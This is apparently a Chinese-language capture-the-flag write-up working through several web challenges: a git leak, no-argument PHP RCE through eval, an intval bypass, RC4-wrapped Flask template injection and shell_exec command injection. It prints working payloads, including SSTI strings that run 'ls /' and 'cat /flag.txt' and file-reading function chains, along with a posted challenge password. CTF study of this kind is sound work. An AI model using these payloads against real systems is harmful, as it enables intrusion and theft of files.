看源代码也没什么东西,扫一下看看
发现了git泄露 话不多说直接开整
flag.php
还是代码审计
include "flag.php";
echo "flag在哪里呢?
";if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看见了eval危险函数执行,还有正则
第一个if过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件
第二个if参考了大佬的解释:(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
推荐一篇大佬的博客给大家
无参数RCE总结-CSDN博客
第一个payload:
?exp=print_r(scandir(current(localeconv())));
原因:
这里要知道一点:想要浏览目录内的所有文件我们常用函数
scandir()
。当scandir()
传入.
,它就可以列出当前目录的所有文件。但这里是无参数的RCE,我们不能写
scandir(.)
,而localeconv()
却会有一个返回值,那个返回值正好就是.
看到了flag的位置
再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?
所以这个组合scandir(current(localeconv()))很常用,可以记一下。
言归正传。
现在我们知道了flag.php在数组中的倒数第二个位置,但是并没有什么函数可以直接读倒数第二个。
所以我们用array_reverse()翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个不就出来了吗?
如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
最后的payload
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
输入admin/admin回显弹窗
这题对校外的人来说,一言难尽.......
从网上找到了账号密码
账号NSS
密码2122693401
接着往下做 ,代码审计
传参num不等于12345 但是intval(num)要等于12345
intval()函数:用于获取变量的整数值
传参?num=12345a就可以
日常扫
访问robots.txt
这段代码逻辑就是对传入的secret
进行 RC4 加密,且密钥已知,safe()
函数猜测是对恶意代码的过滤,然后用render_template_string()
进行模板渲染,如果不了解可以搜一下这个函数,很容易搜出来这个渲染存在 flask 模板注入漏洞(SSTI)
RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。
推荐的博客
RC4加密算法
这里直接给出网上的脚本
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文 import base64 from urllib.parse import quote def rc4_main(key="init_key", message="init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可 # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print("混乱后的 s 盒:%s"% s_box) return s_box def rc4_excrypt(plain, box): # print("调用加密程序成功。") res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) # print("res用于加密字符串,加密后是:%res" %res) cipher = "".join(res) print("加密后的字符串是:%s" % quote(cipher)) # print("加密后的输出(经过编码):") # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8') rc4_main("key", "text")
render_template_string
是用来渲染一个字符串的,不正确的使用flask中的render_template_string
方法会引发SSTI
所以我们只需要进行模板注入,将模板注入的payload进行rc4加密再传参就可以了
看目录: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}看flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
HereIsTreasure是key,后面就是payload
题目标签是文件头绕过,有git泄露
直接就找到了flag
gpt的解释
这段代码是一个简单的 PHP 脚本,用于接收来自 POST 请求的动作(
action
)和数据(data
),然后将其作为参数传递给一个 Java 程序,并将程序的输出打印出来。代码的执行流程如下:
首先,通过
isset()
函数检查是否接收到了action
和data
的 POST 参数。如果其中一个或两个参数都不存在,那么会调用show_source()
函数来显示当前 PHP 文件的源代码。这个操作可能是为了调试或查看代码,但在生产环境中应该避免直接显示源代码给用户。接下来,通过
putenv()
函数设置环境变量,将当前环境的语言设置为繁体中文(zh_TW.utf8
)。这个操作可能是为了确保 Java 程序在执行时使用繁体中文的语言环境。然后,将接收到的
action
和data
参数分别赋值给$action
和$data
变量。在这里,将data
参数用单引号括起来,并在外面再加上一对单引号。这样做可能是为了将数据作为字符串传递给 Java 程序时保持数据的完整性和一致性。最后,使用
shell_exec()
函数执行一个命令,该命令调用了 Java 程序。Java 程序的路径为/var/packages/Java8/target/j2sdk-image/bin/java
,并且使用-jar
参数指定了要执行的 JAR 文件的路径为jar/NCHU.jar
。同时,将$action
和$data
作为参数传递给 Java 程序。执行完命令后,将得到的输出赋值给
$output
变量,并使用echo
函数将输出结果打印出来,返回给客户端
解释一下shell_exec()
exec()与shell_exec():exec()与shell_exec()相似,都可以执行系统命令,不同的是返回结果不一样,前者返回最后一行,后者返回全部信息。直接使用两者返回是没有回显的。(执行不输出,输出得$a=shell_exec(命令);echo $a;) //只有一个参数
所以我们只需要构造shell_exec(“/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar+管道符+命令”);就行了